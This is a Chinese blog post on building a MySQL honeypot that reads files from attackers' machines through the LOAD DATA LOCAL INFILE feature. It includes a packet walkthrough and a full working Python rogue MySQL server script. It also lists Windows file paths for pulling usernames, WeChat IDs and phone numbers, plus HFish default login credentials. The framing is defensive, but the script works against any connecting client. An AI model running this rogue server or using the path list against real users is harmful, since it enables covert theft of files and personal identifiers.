蜜罐如何获取攻击者敏感信息

目录

Part1 前言

Part2 原理

Part3 mysql数据包分析

Part4 蜜罐搭建

Part5 资料参考


Part1 前言

在护网中看到甲方的蜜罐感觉很好玩,就想着自己也搭建一个。然后就看到很多文章讲述用蜜罐获取手机号了什么的,感觉很神奇,就研究了研究。
蜜罐获取手机号信息其实就是一个mysql的任意文件读取漏洞,关于这个漏洞已经出现很久了,晚上也有很多关于这个漏洞的文章。但是对于一些入行晚的师傅,可能还不是太了解。本篇文章就来讲述一下mysql蜜罐的原理。

Part2 原理

伪造一个mysql服务器,当攻击者尝试连接的时,可以读取攻击者主机的任意文件。
主要是由于mysql的LOAD DATA INFILE 语法
load data infile 的作用是数据库读取一个文件内容导入到数据库表中,而如果使用load data local infile 则数据库从客户机读取文件,导入到表中。

Part3 mysql数据包分析

1、登陆mysql,并进行抓包

2、通过分析数据包可以发现,在tcp握手成功之后,mysql服务器返回了一个Greeting包。

3、当客户机收到Greeting包后,客户机向mysql服务器发送了一个login request包进行登陆。 4、mysql服务器收到login包后进行验证,正确了则返回一个ok的响应包 5、之后客户端发送一个初始化的查询语句,服务端收到后进行回应

至此,客户端登陆成功。
看到这,想一想如果我们伪造一个mysql服务端,按照mysql的处理流程进行回包,是不是就伪造了一个服务器呢。
那如何获取客户端的文件呢,我们在客户端执行load data local infile语句进行抓包查看。 1、在客户端执行load data local infile "/etc/passwd" into table 表名 fields terminated by '\n';进行抓包查看。

2、查看数据包,发现客户端向服务器发送了查询语法

3、服务端收到后把查询的文件名返回给客户端 4、之后客户端把这个文件的内容返回给mysql服务器 5、mysql服务端收到后返回一个ok的应答包 通过分析数据包,我们发现当客户端发送查询语法=》服务端返回文件名=》客户端返回文件内容。 此时我们就可以通过伪造mysql服务器,在被害者连接服务器时身份认证,问候包发送完成后,回一个带有load data infile 标志位的包,即可读取被害者的文件。

附上一个来自https://xz.aliyun.com/t/3973给出的脚本

#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring = "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024

#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen = "\x0b" 
padding = "\x00\x00"
payload = payloadlen + padding +  "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()

    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

Part4 蜜罐搭建

我这里用的是HFish蜜罐进行的搭建,部署流程反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台

登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021

在节点管理里可以设置蜜罐,在里面可以修改读取的文件

测试一下蜜罐:

成功读取到数据。
至于读取手机号微信id等信息,只需要修改读取的文件路径即可
1.从C:/Windows/PFRO.log中读取用户名。
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取微信_id。
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号。

Part5 资料参考

MySQL蜜罐获取攻击者微信ID - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/3973


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

  • 7
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

土豆.exe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值